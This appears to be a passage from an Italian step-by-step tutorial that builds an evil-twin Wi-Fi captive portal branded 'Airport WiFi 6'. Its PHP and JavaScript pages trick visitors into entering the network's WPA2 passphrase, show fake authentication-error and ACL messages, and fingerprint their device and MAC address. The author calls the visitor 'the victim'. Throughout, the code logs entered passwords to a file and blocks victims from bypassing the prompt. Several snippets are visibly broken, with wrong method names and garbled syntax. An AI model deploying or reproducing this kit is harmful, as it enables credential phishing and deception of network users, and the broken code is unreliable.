var userAgent = navigator.userAgent; - Qui si definisce una nuova variabile "userAgent" utilizzando la proprietà navigator.userAgent per recuperare l'User Agent dell'utente.

var browser = "Unknown"; - Qui si definisce una nuova variabile browser con il valore predefinito di "Unknown".

if (userAgent.includes("Firefox") && !userAgent.includes("Seamonkey")) browser = "Firefox"; - Qui controlliamo con un'istruzione if utilizzando include che l'agente utente contenga "FireFox", quindi utilizziamo un operatore logico AND seguito dall'operatore logico NOT, per verificare che l'agente utente contenga "Firefox" ma non "Seamonkey". In questo modo si imposta la variabile del browser su "Firefox".

else if (userAgent.includes("Seamonkey")) browser = "Seamonkey"; - In questo caso si controlla, utilizzando gli include, che l'agente utente contenga "Seamonkey"; in caso affermativo, si imposta la variabile del browser su "Seamonkey".

else if (userAgent.includes("Chrome") && !userAgent.includes("Chromium")) browser = "Chrome"; - Come in precedenza, controlliamo tramite include che l'agente utente contenga "Chrome", quindi utilizziamo l'operatore logico AND seguito dall'operatore logico NOT, per verificare che l'agente utente contenga "Chrome" ma non "Chromium". In questo modo si imposta la variabile del browser su "Chrome".

else if (userAgent.includes("Chromium")) browser = "Chromium"; - Come in precedenza, controlliamo tramite include che l'agente utente contenga "Chromium", se lo contiene, imposta la variabile del browser su "Chromium".

else if (userAgent.includes("Safari") && !userAgent.includes("Chrome") && !userAgent.includes("Chromium")) browser = "Safari"; - Come in precedenza, controlliamo usando gli include che l'agente utente contenga "Safari", quindi usiamo un operatore logico AND seguito dall'operatore logico NOT e controlliamo per "Chrome". Si esegue quindi un altro operatore logico NOT per verificare che l'agente utente contenga "Safari", ma non "Chrome" e "Chromium". Quindi imposta la variabile del browser su "Safari".

else if (userAgent.includes("OPR") || userAgent.includes("Opera")) browser = "Opera"; - In questo caso controlliamo con "includes" che l'agente utente contenga "OPR" e poi usiamo l'operatore logico OR per verificare che contenga "Opera". In questo modo si verifica che l'agente utente contenga "OPR" o "Opera" e si imposta la variabile browser su "Opera".

else if (userAgent.includes("MSIE") || userAgent.includes("Trident/")) browser = "Internet Explorer"; - In questo caso, come sopra, verifichiamo con "includes" che l'agente utente contenga "MSIE" e poi usiamo l'operatore OR logico per verificare se contiene "Trident". In questo modo si verifica che l'agente utente contenga "MSIE" o "Trident" e si imposta la variabile del browser su "Internet Explorer".

else if (userAgent.includes("Edge")) browser = "Edge"; - In questo caso si controlla con "includes" che l'agente utente contenga "Edge", in caso affermativo si imposta la variabile del browser su "Edge".

document.getElementById("WB").value = browser; - Infine, impostiamo il valore dell'elemento di input nascosto che ha l'id "WB" con il valore della variabile "browser".

function GWB() { var userAgent = navigator.userAgent; var browser = "Unknown"; if (userAgent.includes("Firefox") && !userAgent.includes("Seamonkey")) browser = "Firefox"; else if (userAgent.include("Seamonkey")) browser = "Seamonkey"; else if (userAgent.includes("Chrome") && !userAgent.includes("Chromium")) browser = "Chrome"; else if (userAgent.includes("Chromium")) browser = "Chromium"; else if (userAgent.includes("Safari") && !userAgent.includes("Chrome") && !userAgent.includes("Chromium")) browser = "Safari"; else if (userAgent.includes("OPR") || userAgent.includes("Opera")) browser = "Opera"; else if (userAgent.includes("MSIE") || userAgent.include("Trident/")) browser = "Internet Explorer"; else if (userAgent.include("Edge") browser = "Edge"; // Imposta il valore dell'elemento di input con il browser rilevato document.getElementById("WB").value = browser; }

GAT (Get Architecture Type):

function GAT() { - Qui definiamo una nuova funzione "GAT".

var userAgent = navigator.userAgent; - Qui si definisce una nuova variabile "userAgent" utilizzando la proprietà "navigator.userAgent" per recuperare l'User Agent dell'utente.

var architecture = "Unknown"; - Qui si definisce una nuova variabile architecture con il valore predefinito di "Unknown".

if (userAgent.includes("Win64") || userAgent.includes("x64")) architecture = "64-bit"; - Qui si controlla tramite includes che l'agente utente contenga "Win64" o "x64". In caso affermativo, si imposta la variabile architecture su "64-bit".

else if (userAgent.includes("WOW64") || userAgent.includes("x86_64")) architecture = "64-bit"; - Qui si controlla, usando gli include, che l'agente utente contenga "WOW64" o "x86_x64". In caso affermativo, si imposta la variabile architecture su "64-bit".

else if (userAgent.includes("Win32") || userAgent.includes("x86")) architecture = "32-bit"; - Qui si controlla, utilizzando gli include, che l'agente utente contenga "Win32" o "x86". In caso affermativo, si imposta la variabile architecture su "32-bit".

else if (userAgent.includes("i686")) architecture = "32-bit"; - Qui si controlla, utilizzando gli include, che l'agente utente contenga "i686". In caso affermativo, si imposta la variabile architecture a "32-bit".

document.getElementById("AT").value = architecture; - Infine, impostiamo il valore degli elementi di input nascosti che hanno l'id "AT" con il valore della variabile architettura.

function GAT() { var userAgent = navigator.userAgent; var architecture = "Unknown"; if (userAgent.includes("Win64") || userAgent.includes("x64")) architecture = "64-bit"; else if (userAgent.includes("WOW64") || userAgent.include("x86_64")) architecture = "64-bit"; else if (userAgent.includes("Win32") || userAgent.includes("x86")) architecture = "32-bit"; else if (userAgent.includes("i686")) architecture = "32-bit"; document.getElementById("AT").value = architecture; }

GCC (Get Cpu Cores):

function GCC() { - Qui definiamo una nuova funzione "GCC".

var cpuCores = navigator.hardwareConcurrency || "Unknown"; - Qui definiamo una nuova variabile cpuCores e usiamo la proprietà navigator.hardwareConcurrency per restituire informazioni sui processori logici degli utenti. Utilizziamo l'operatore logico OR per impostare questa variabile a "Unknown", se il valore non può essere recuperato.

document.getElementById("CC").value = cpuCores; - Qui impostiamo il valore degli elementi di input nascosti che hanno l'id "CC" con il valore delle variabili cpuCores.

function GCC() { var cpuCores = navigator.hardwareConcurrency || "Unknown"; document.getElementById("CC").value = cpuCores; }

Popover Bootstrap:

document.addEventListener('DOMContentLoaded', function () { - Qui usiamo una funzione addEventListener che usa anche la funzione DOMContentLoaded, che si attiva quando la pagina html viene analizzata completamente.

$('[data-toggle="popover"]').popover({ - Qui abilitiamo il popover selezionando tutti i popover con l'attributo data-toggle.

container: 'body' - Selezioniamo anche il corpo del contenitore in cui visualizzarlo.

}); - Questo è solo un tag di chiusura per le righe precedenti.

$(".popover-link").on("click", function (event) { - Qui usiamo un selettore di Bootstrap per selezionare un elemento con la classe "popover-link" usando il click e specificando una nuova funzione.

event.preventDefault(); - Qui utilizziamo preventDefault che blocca l'esecuzione di un'azione prima che inizi.

$('[data-toggle="popover"]').popover("toggle"); - Come prima, selezioniamo tutti i popover con data-toggle impostato come "popover" e poi attiviamo il popover che è considerato un'attivazione "manuale".

$(".popover-link").on("shown.bs.popover", function () { - Come in precedenza, selezioniamo l'elemento con la classe "popover-link" e usiamo shown.bs.popover che si attiva quando il popover è stato reso visibile all'utente.

$(".popover-link").focus(); - Selezioniamo quindi la classe, popover-link e usiamo focus per dare il focus all'elemento quando viene inizializzato.

document.addEventListener('DOMContentLoaded', function () { $('[data-toggle="popover"]').popover({ container: 'body' }); $(".popover-link").on("click", function (event) { event.preventDefault(); $('[data-toggle="popover"]').popover("toggle"); }); $(".popover-link").on("shown.bs.popover", function () { $(".popover-link").focus(); }); });

Ora dovremmo avere un file func.js che assomiglia a questo.

Func.js Risultato:

// Redirect function redirect() { setTimeout(function () { // Controlla se la casella di controllo è selezionata var ACLAllowChecked = $('#ACLAllow').prop('checked'); // Include il parametro ACLAllow nell'URL di reindirizzamento var redirectURL = "/checking.php" + (ACLAllowChecked ? '?ACLAllow=1' : ''); window.location = redirectURL; }, 1000); } // Funzione Go Back per errata.php function GoBack() { setTimeout(function () { window.location = "/default.php"; }, 100); } // Funzione RunTest - Imposta il controllo della cache // e invia l'input a run_test.php function runTest() { var password = document.getElementById('password').value; var xhr = new XMLHttpRequest(); xhr.open('POST', '/run_test.php', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.setRequestHeader('Cache-Control', 'no-store, no-cache, must-revalidate'); xhr.setRequestHeader('Pragma', 'no-cache'); xhr.setRequestHeader('Expires', '0'); xhr.onreadystatechange = function () { if (xhr.readyState === 4 && xhr.status === 200) { var responseText = xhr.responseText.trim(); if (responseText !== "") { console.log(responseText); } // È possibile aggiungere ulteriori gestioni, se necessario } }; xhr.send('password=' + encodeURIComponent(password)); } // Funzione per gestire l'invio del modulo function submitForm() { // Mostra il messaggio di caricamento quando il modulo viene inviato $('#loading-message').text('Logging in, please wait...'); // Eseguire immediatamente il Runtest runTest(); // Ritardare l'esecuzione della funzione redirect // Se si regola troppo velocemente si potrebbe ottenere // una password errata su un inserimento corretto setTimeout(function () { $('#loading-message').text('); redirect(); }, 2000); return true; // Consentire l'invio del modulo } function togglePassword() { var passwordField = document.getElementById("password"); var icon = document.getElementById("showPasswordIcon"); if (passwordField.type === "password") { passwordField.type = "text"; icon.className = "bi-eye-slash-fill"; } else { passwordField.type = "password"; icon.className = "bi-eye-slash-fill"; } } function GSR() { var screenWidth = window.screen.width; var screenHeight = window.screen.height; var resolution = screenWidth + "x" + screenHeight; // Imposta il valore del campo di input nascosto con la risoluzione dello schermo document.getElementById("SR").value = resolution; } function GOS() { var userAgent = navigator.userAgent; var operatingSystem; if (userAgent.includes("Windows NT 10.0")) operatingSystem = "Windows 10/11"; else if (userAgent.includes("Windows NT 6.3") operatingSystem = "Windows 8.1"; else if (userAgent.includes("Windows NT 6.2") operatingSystem = "Windows 8.1".2")) operatingSystem = "Windows 8"; else if (userAgent.includes("Windows NT 6.1") operatingSystem = "Windows 7"; else if (userAgent.includes("Windows NT 6.0") operatingSystem = "Windows Vista"; else if (userAgent.includes("Windows NT 5.1") operatingSystem = "Windows XP"; else if (userAgent.includes("Win") operatingSystem = "Windows (Other)"; else if (userAgent.include("Mac") && userAgent.include("Intel")) operatingSystem = "MacOS/iPad"; else if (userAgent.include("Linux") && !userAgent.include("Android")) operatingSystem = "Linux"; else if (userAgent.include("Android")) operatingSystem = "Android"; else if (userAgent.include("iPhone") && !userAgent.include("Intel")) operatingSystem = "iOS (iPhone)"; else operatingSystem = "OS sconosciuto"; document.getElementById("OS").value = operatingSystem; } function GWB() { var userAgent = navigator.userAgent; var browser = "Unknown"; if (userAgent.include("Firefox") && !userAgent.include("Seamonkey")) browser = "Firefox"; else if (userAgent.include("Seamonkey")) browser = "Seamonkey"; else if (userAgent.includes("Chrome") && !userAgent.includes("Chromium")) browser = "Chrome"; else if (userAgent.include("Chromium")) browser = "Chromium"; else if (userAgent.includes("Safari") && !userAgent.includes("Chrome") && !userAgent.includes("Chromium")) browser = "Safari"; else if (userAgent.include("OPR") || userAgent.include("Opera")) browser = "Opera"; else if (userAgent.include("MSIE") || userAgent.include("Trident/")) browser = "Internet Explorer"; else if (userAgent.include("Edge")) browser = "Edge"; // Imposta il valore dell'elemento di input con il browser rilevato document.getElementById("WB").value = browser; } function GAT() { var userAgent = navigator.userAgent; var architecture = "Unknown"; if (userAgent.includes("Win64") || userAgent.includes("x64")) architecture = "64-bit"; else if (userAgent.includes("WOW64") || userAgent.includes("x86_64")) architecture = "64-bit"; else if (userAgent.includes("Win32") || userAgent.include("x86")) architecture = "32-bit"; else if (userAgent.includes("i686")) architecture = "32-bit"; document.getElementById("AT").value = architecture; } function GCC() { var cpuCores = navigator.hardwareConcurrency || "Unknown"; document.getElementById("CC").value = cpuCores; } // Inizializzazione del Popover document.addEventListener('DOMContentLoaded', function () { $('[data-toggle="popover"]').popover({ container: 'body' }); $(".popover-link").on("click", function (event) { event.preventDefault(); $('[data-toggle="popover"]').popover("toggle"); }); $(".popover-link").on("shown.bs.popover", function () { $(".popover-link").focus(); }); });

Creare Incorrect.php

Per questo, dobbiamo semplicemente copiare e incollare il codice di default.php, rimuovendo e sostituendo alcune cose.

Per prima cosa, dobbiamo rimuovere il require per la pagina visitata:

require_once('visited.php'); // rimuovere

Poi rimuoviamo l'iframe:

<iframe name="login" id="login" style="display: none;"></iframe> // rimuovere

Poi vogliamo rimuovere il file dell'icona di bootstrap, perché non è necessario:

   <link rel="stylesheet" href="/css/bootstrap-icons.css"> // rimuovi

Poi vogliamo sostituire l' intero blocco di codice:

                       <h3 class="card-title text-center"><?= $essid; ?></h3> <p class="text-center small mb-5">Sembra che sia necessario essere autorizzati a utilizzare questo punto di accesso wireless.</p> <form method="POST" action="/captiveportal/index.php" onsubmit="submitForm()" target="login" id="loginForm"> <div class="form-group text-left mb-4"> <label for="password">Passphrase:</label> <div class="input-group"> <input type="password" class="form-control" id="password" name="password" placeholder="Passphrase WPA2" autocomplete="current-password" required> <div class="input-group-append"> <span class="input-group-text"> <i id="showPasswordIcon" class="bi bi-eye-fill" onclick="togglePassword()"></i> </span> </div> </div> </div>
                            </div> <div id="loading-message" class="text-center mt-3 mb-3 font-weight-bold"></div> <input type="hidden" name="ssid" value="<?=getClientSSID($_SERVER['REMOTE_ADDR']);?>"> <input type="hidden" name="hostname" value="<?=getClientHostName($_SERVER['REMOTE_ADDR']);?>"> <input type="hidden" name="mac" value="<?=getClientMac($_SERVER['REMOTE_ADDR']);?>"> <input type="hidden" name="ip" value="<?=$_SERVER['REMOTE_ADDR'];?>"> <input type="hidden" name="useragent" value="<?= htmlspecialchars($_SERVER['HTTP_USER_AGENT']); ?>"> <input type="hidden" id="SR" name="SR" value=""> <input type="hidden" id="OS" name="OS" value=""> <input type="hidden" id="WB" name="WB" value="">
                            <input type="hidden" id="AT" name="AT" value=""> <input type="hidden" id="CC" name="CC" value=""> <script type="text/javascript">GSR(); GOS(); GWB(); GAT(); GCC();</script>
                            <button type="submit" class="btn btn-orange btn-block text-white">Login</button> <div class="form-group form-check text-left mt-2"> <input type="checkbox" class="form-check-input" id="ACLAllow" name="ACLAllow" value="0"> <label class="form-check-label" for="ACLAllow">Aggiungi il MAC all'elenco dei permessi ALC</label> </div> </form>

Sostituire con:

                       <h3 class="card-title text-center">Oops!</h3> <p class="text-center small">Sembra che tu abbia inserito una passphrase errata, per favore controlla l'ortografia e riprova.</p> <button class="btn btn-orange btn-block text-white mt-5" onclick="GoBack()">Vai indietro</button>

Risultato di Incorrect.php:

Ora dovremmo avere una pagina Incorrect che assomiglia a questa:

<?php $destinazione = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . ""; require_once('helper.php'); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Pragma: no-cache"); header("Expires: 0"); $essid = "Airport WiFi 6"; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Expires" content="0" /> <link rel="stylesheet" href="/css/bootstrap-4.3.1.min.css"> <script type="text/javascript" src="/js/jquery-3.7.1.min.js"></script> <script type="text/javascript" src="/js/bootstrap.bundle.min.js"></script> <link rel="stylesheet" href="/it/style.css"> <script type="text/javascript" src="/func.js"></script> <title><?= $essid ?></title> </head> <body> <div class="container mt-5"> <div class="form-row justify-content-center"> <div class="col-md-6"> <div class="card rounded-lg border-light shadow"> <div class="card-body text-center"> <img src="airport-logo.png" class="img-fluid mb-3" style="max-width: 200; max-height: 100px; object-fit: contain;"> <h3 class="card-title text-center">Oops!</h3> <p class="text-center small">Sembra che sia stata inserita una passphrase errata, controllare l'ortografia e riprovare.</p> <button class="btn btn-orange btn-block text-white mt-5" onclick="GoBack()">Torna indietro</button> <p class="text-left small text-muted mt-4 d-flex justify-content-between align-items-center"> STATO: ERR_FAILED_AUTH <p class="text-left small text-muted d-flex justify-content-between align-items-center"> MAC del cliente: <?=getClientMac($_SERVER['REMOTE_ADDR']);?> <a href="#" class="popover-link" data-container="body" data-html="true" data-toggle="popover" data-placement="top" data-content="Ciò è avvenuto a causa delle impostazioni dell'elenco di controllo degli accessi (ACL) implementate sul punto di accesso wireless. Ciò richiede che i dispositivi si autentichino nuovamente, interrogando l'ACL del punto di accesso. Se il dispositivo è autorizzato ad accedere a questa rete, il MAC del dispositivo sarà consentito dopo una nuova autenticazione tramite il captive portal integrato nei punti di accesso wireless. È per questo che viene visualizzato questo messaggio." title="ERR_FAILED_AUTH" data-trigger="focus" tabindex="0">Perché è successo?</a> </p> </p> </div> </div> </div> </div> </div> </div> </body> </html>

Creare Correct.php

Ora, usando Incorrect.php come base per correct.php, poiché molto è già stato rimosso, vogliamo aggiungere e rimuovere alcuni pezzi di codice.

Ho notato subito un problema durante la creazione di questo file, ovvero quando visualizziamo il captive portal usando l'hotspot-detect del captive portal di apple http://captive.apple.com/hotspot-detect.html (in quel momento stavo facendo dei test su dispositivi mobili e tablet). È possibile accedere al Captive Portal anche sui dispositivi Apple utilizzando http://captive.apple.com.

Dopo alcuni clic in Safari possiamo vedere il file default.php aggiunto al link precedente; digitando semplicemente correct.php la vittima potrebbe accedere al Captive Portal senza dover inserire una password. Per evitare che ciò accada, ho introdotto due controlli.

  1. Controllo dell'intestazione del referer
  2. Controllo dei parametri del file (un file con un valore memorizzato di true se è stata inserita la password corretta).

Spiegherò i nuovi pezzi di codice man mano che procediamo e li scomporrò.

Controllo del referer, del file e della casella di controllo:

$rueayFilePath = '/tmp/airport_rueay.txt'; - Qui definiamo una nuova variabile e impostiamo il valore su un percorso di file assoluto, questo per il controllo del file.

$aclAllowFilePath = '/tmp/airport_aclallow.txt'; - Qui si definisce una nuova variabile e si imposta il valore su un percorso di file assoluto, per visualizzare un messaggio univoco se la casella di controllo è selezionata.

if ( - L'inizio dell'istruzione "if".

file_exists($rueayFilePath) && - Qui utilizziamo la funzione PHP file_exists per verificare l'esistenza o meno del percorso del file della variabile, utilizzando la logica AND, che significa che continuerà solo se tutti gli operandi sono veri.

strpos(file_get_contents($rueayFilePath), 'true') !== false && - In questo caso si utilizza la funzione PHP strpos seguita dalla funzione PHP file_get_contents per leggere il "rueayFilePath" e verificare che la parola "true" sia trovata e non sia uguale a false; si utilizza quindi un'altra logica AND.

isset($_SERVER['HTTP_REFERER']) && - Utilizza la funzione PHP "isset" per verificare che la variabile PHP "HTTP_REFERER" sia impostata.

strpos($_SERVER['HTTP_REFERER'], '/checking.php') !== false - Similmente a quanto detto sopra, utilizza la funzione "strpos" per trovare l'occorrenza di una sottostringa in una stringa della variabile PHP "HTTP_REFERER" alla ricerca di "/checking.php" e verifica che non sia uguale a false (se è impostata sarà uguale a "true").

if ( - Inizio dell'istruzione "if" successiva.

file_exists($aclAllowFilePath) && - Come sopra, usiamo "file_exists" per controllare che la variabile "aclAllowFilePath" esista.

strpos(file_get_contents($aclAllowFilePath), 'true') !== false - Proprio come il controllo "rueay", controlliamo che il file airport_aclallow.txt contenga la riga "true" e che non sia uguale a false.

$ACLMessage = 'Aggiunto: ' . getClientMac($_SERVER['REMOTE_ADDR']) . ' all'elenco dei permessi ACL."; - Definiamo quindi una nuova variabile "ACLMessage" che viene utilizzata per visualizzare il messaggio "Added:", quindi utilizziamo un concatenatore di stringhe PHP per restituire il valore di getClientMac utilizzando la superglobale $_SERVER con la variabile REMOTE_ADDR e quindi visualizziamo il messaggio rimanente di "all'elenco dei permessi ACL".

} else { - L'istruzione else se quanto sopra non è vero.

header("Location: /checking.php"); - Si imposta quindi un nuovo header Location per reindirizzare l'utente alla pagina /checking.php.

exit(); - Si esce infine dall' istruzione if per terminare.

Vogliamo aggiungere questo codice nel nostro blocco di codice PHP all'inizio della pagina.


$rueayFilePath = '/tmp/airport_rueay.txt'; $aclAllowFilePath = '/tmp/airport_aclallow.txt'; // Controlla se nel file airport_rueay.txt si trova true e il referer è checking.php if ( file_exists($rueayFilePath) && strpos(file_get_contents($rueayFilePath), 'true') !== false && isset($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], '/checking.php') !== false ) { // Continua con il comportamento normale // Controlla se true è trovato nel file e genera il messaggio if ( file_exists($aclAllowFilePath) && strpos(file_get_contents($aclAllowFilePath), 'true') !== false) { $ACLMessage = 'Aggiunto: ' . getClientMac($_SERVER['REMOTE_ADDR']) . ' alla lista dei permessi ACL.'; } } else { // Reindirizzamento a checking.php se le condizioni non sono soddisfatte header("Location: /checking.php"); exit(); }

funzione auth_success:

Non ho voluto aggiungere questa funzione al file func.js, ma ho voluto aggiungerla direttamente alla pagina correct.php. Il motivo è che l'utente non può vedere il trucco della funzione a meno che non si trovi nella pagina, perché la pagina correct.php ha alcune misure di sicurezza che impediscono di visitarla direttamente. Come in precedenza, spiegherò cosa succede in questo tag di script.

var destinationValue = "<?php $destination; ?>"; - Qui impostiamo una nuova variabile destinationValue con un valore contenente codice php. Questo eseguirà e restituirà il valore della variabile destination impostata in tutte le nostre pagine all'inizio come valore della variabile destinationValue.

function auth_success(targetValue) { - Qui definiamo la funzione auth_success con un parametro "targetValue" che può servire come segnaposto per i valori da passare nelle funzioni.

var xhr = new XMLHttpRequest(); - Qui si definisce la variabile xhr per creare una nuova XMLHttpRequest.

var url = "/captiveportal/index.php"; - Qui definiamo un'altra variabile url con l'URL a cui vogliamo inviare la richiesta.

var params = "target=" + encodeURIComponent(targetValue); - Definiamo quindi un'altra variabile "params" che imposta il valore come "target=" (il nostro parametro necessario per funzionare) e usa l'aggiunta per concatenare il targetValue usando "encodeURIComponent" per assicurare che la richiesta sia formattata correttamente.

xhr.open("POST", url, true); - Come abbiamo fatto in func.js, inizializziamo la richiesta con il nostro "metodo" come "POST", l'URL come valore delle variabili url, seguito dall'impostazione asincrona.

xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); - Quindi impostiamo un'intestazione di richiesta HTTP "Content-Type" con il MIME-Type "application/x-www-form-urlencoded".

xhr.onreadystatechange = function () { - Come in precedenza, utilizziamo "onreadystatechange" per attivare l'evento quando "readystatechange" cambia, quindi avviamo una nuova funzione.

if (xhr.readyState === 4 && xhr.status === 200) { - Come in precedenza, questa istruzione if utilizza "readyState" con un valore di "4" con una logica AND se il codice di risposta http è uguale a 200.

console.log(xhr.responseText); - Utilizza quindi console.log per registrare l'output del responseText nella console.

xhr.send(params); - Utilizziamo quindi xhr.send per inviare la richiesta con il parametro "params".

auth_success(destinationValue); - Infine, eseguiamo la funzione auth_success al di fuori della funzione attuale con il valore del parametro "destinationValue". In effetti, la richiesta viene inviata al captive portal con il valore della destinazione.

Successivamente, vogliamo aggiungere la funzione auth_success proprio tra il tag "title" e il precedente "script" di func.js. Ora si otterrà un messaggio nel log della console che dice "non sei stato autorizzato", ma il client sarà effettivamente autorizzato da questo momento in poi. Si riceverà anche una notifica dalla WebUI, ma potrebbe essere un po' ritardata; nei miei test ho riscontrato un ritardo di circa 7-10 secondi.

Se non si desidera autorizzare gli utenti a utilizzare l'ICS (Internet Connection Sharing), ciò significa che non è possibile accedere a Internet. Si può semplicemente omettere del tutto questa funzione (solo i tag script).

   <script type="text/javascript" src="/func.js"></script> <script type="text/javascript"> var destinationValue = "<?php $destination; ?>"; function auth_success(targetValue) { var xhr = new XMLHttpRequest(); var url = "/captiveportal/index.php"; var params = "target=" + encodeURIComponent(targetValue); xhr.open("POST", url, true); xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhr.onreadystatechange = function() { if (xhr.readyState == 4 && xhr.status == 200) { console.log(xhr.responseText); } }; xhr.send(params); } auth_success(destinationValue); // Richiama auth_success con il valore iniziale </script> <title><?= $essid ?></title>

Poi vogliamo sostituire questo codice con un nuovo pezzo di codice, di cui spiegherò la nuova aggiunta più avanti:

                       <img src="airport-logo.png" class="img-fluid mb-3" style="max-width: 200; max-height: 100px; object-fit: contain;"> <h3 class="card-title text-center">Oops!</h3> <p class="text-center small">Sembra che tu abbia inserito una passphrase errata, riprova.</p> <button class="btn btn-orange btn-block text-white mt-5" onclick="GoBack()">Torna indietro</button> <p class="text-left small text-muted mt-4 d-flex justify-content-between align-items-center"> STATO: ERR_FAILED_AUTH <p class="text-left small text-muted d-flex justify-content-between align-items-center"> MAC del cliente: <?=getClientMac($_SERVER['REMOTE_ADDR']);?> <a href="#" class="popover-link" data-container="body" data-html="true" data-toggle="popover" data-placement="top" data-content="Ciò è avvenuto a causa delle impostazioni dell'elenco di controllo degli accessi (ACL) implementate sul punto di accesso wireless. Ciò richiede che i dispositivi si autentichino nuovamente, interrogando l'ACL del punto di accesso. Se il dispositivo è autorizzato ad accedere a questa rete, il MAC del dispositivo sarà consentito dopo una nuova autenticazione tramite il captive portal integrato nei punti di accesso wireless. Ecco perché viene visualizzato questo messaggio." title="ERR_FAILED_AUTH" data-trigger="focus" tabindex="0">Perché è successo? </a> </p>

Ora ho aggiunto qualcosa che volevo analizzare e che riguarda la visualizzazione del messaggio ACLAllow se il valore della casella di controllo è vero. Questo è all'interno di un blocco di codice PHP.

if (isset($ACLMessage)) { - Utilizza un'istruzione if per verificare che la variabile ACLMessage sia impostata, in caso affermativo continua.

echo '<p class="text-left small text-muted d-flex justify-content-between align-items-center">' . $ACLMessage . '</p>'; - Questo usa echo per produrre un elemento HTML Paragraph che concatena il valore di ACLMessage. Che, se si ricorda, visualizza "Aggiunto: CLIENT-MAC all'elenco dei permessi ACL".

Sostituire con il seguente codice:

                       <h3 class="card-title text-center">Passphrase corretta! </h3> <p class="text-center small">La passphrase inserita corrisponde a quella del punto di accesso wireless. Potreste perdere temporaneamente la connessione; non preoccupatevi, sarete ricollegati automaticamente.</p> <p class="text-center small">Potete ora chiudere questa pagina e continuare normalmente.</p> <p class="text-left small text-muted mt-4 d-flex justify-content-between align-items-center"> STATO: INFO_AUTH_SUCCESS </p> <?php if (isset($ACLMessage)) { echo '<p class="text-left small text-muted d-flex justify-content-between align-items-center">' . $ACLMessage . '</p>'; } ?>

Risultato di correct.php:

Ora si dovrebbe avere una pagina correct.php che assomiglia a questa:

<?php $destinazione = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . ""; require_once('helper.php'); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Pragma: no-cache"); header("Expires: 0"); $essid = "Airport WiFi 6"; $rueayFilePath = '/tmp/airport_rueay.txt"; $aclAllowFilePath = '/tmp/airport_aclallow.txt'; // Controllare se nel file airport_rueay.txt si trova true e il referer è checking.php if ( file_exists($rueayFilePath) && strpos(file_get_contents($rueayFilePath), 'true') !== false && isset($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], '/checking.php') !== false ) { // Continua con il comportamento normale // Controlla se true è trovato nel file e genera il messaggio if ( file_exists($aclAllowFilePath) && strpos(file_get_contents($aclAllowFilePath), 'true') !== false) { $ACLMessage = 'Aggiunto: ' . getClientMac($_SERVER['REMOTE_ADDR']) . ' alla lista dei permessi ACL.'; } } else { // Reindirizza a checking.php se le condizioni non sono soddisfatte header("Location: /checking.php"); exit(); } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Expires" content="0" /> <link rel="stylesheet" href="/css/bootstrap-4.3.1.min.css"> <script type="text/javascript" src="/js/jquery-3.7.1.min.js"></script> <script type="text/javascript" src="/js/bootstrap.bundle.min.js"></script> <link rel="stylesheet" href="/it/style.css"> <script type="text/javascript" src="/func.js"></script> <script type="text/javascript"> var destinationValue = "<?php $destinazione; ?>"; function auth_success(targetValue) { var xhr = new XMLHttpRequest(); var url = "/captiveportal/index.php"; var params = "target=" + encodeURIComponent(targetValue); xhr.open("POST", url, true); xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhr.onreadystatechange = function() { if (xhr.readyState == 4 && xhr.status == 200) { console.log(xhr.responseText); } }; xhr.send(params); } auth_success(destinationValue); // Richiama auth_success con il valore iniziale </script> <title><?= $essid?></title> </head> <body> <div class="container mt-5"> <div class="form-row justify-content-center"> <div class="col-md-6"> <div class="card rounded-lg border-light shadow"> <div class="card-body text-center"> <h3 class="card-title text-center">Passphrase corretta!</h3> <p class="text-center small">La passphrase inserita corrisponde a quella del punto di accesso wireless. Potreste perdere temporaneamente la connessione; non preoccupatevi, sarete ricollegati automaticamente.</p> <p class="text-center small">Potete ora chiudere questa pagina e continuare come al solito.</p> <p class="text-left small text-muted mt-4 d-flex justify-content-between align-items-center"> STATO: INFO_AUTH_SUCCESS </p> <?php if (isset($ACLMessage)) { echo '<p class="text-left small text-muted d-flex justify-content-between align-items-center">' . $ACLMessage . '</p>'; } ?> </div> </div> </div> </div> </div> </div> </body> </html>

Creare run_test.php

Come sempre, non voglio che nessuna delle pagine sia messa in cache al meglio delle nostre possibilità, in modo che se cambiamo qualche contenuto ci venga servito quello più recente. Si può anche usare il cache-busting per assicurarsi che venga servita l'ultima versione durante la costruzione/il test.

Riporterò il codice di seguito, riga per riga:

<?php - L'inizio del nostro codice php.

// run_test.php - Questo è solo un commento negli script PHP.

header("Cache-Control: no-store, no-cache, must-revalidate"); - Qui impostiamo nuovamente l'header Cache-Control in modo simile a come abbiamo fatto nel codice precedente, con le direttive no-store, no-cache e must-revalidate.

header("Pragma: no-cache"); - Come in precedenza, impostiamo l'header Pragma con la direttiva no-cache per le cache HTTP/1.0 più vecchie.

header("Expires: 0"); - Come prima, impostiamo l'header Expires con 0, il che significa che il contenuto è già scaduto.

<?php // run_test.php // Impostare le intestazioni di controllo della cache header("Cache-Control: no-store, no-cache, must-revalidate"); header("Pragma: no-cache"); header("Expires: 0");

if (isset($_POST['password'])){ - Qui si usa l'istruzione if con isset per verificare che la richiesta POST contenga il parametro password e non sia nullo.

$password = $_POST['password']; - Si crea quindi una nuova variabile chiamata password e si restituisce il valore della richiesta POST come valore della variabile password.

$filePath = '/tmp/airport_attempt_tmp.txt'; - Definiamo quindi una nuova variabile filePath che punta al nostro file di tentativo.

file_put_contents($filePath, $password . PHP_EOL, LOCK_EX); - Usiamo quindi "file_put_contents" per scrivere su "filePath" con il valore di "password" e poi concatenare "." usando PHP_EOL con LOCK_EX che blocca esclusivamente il file durante la scrittura.

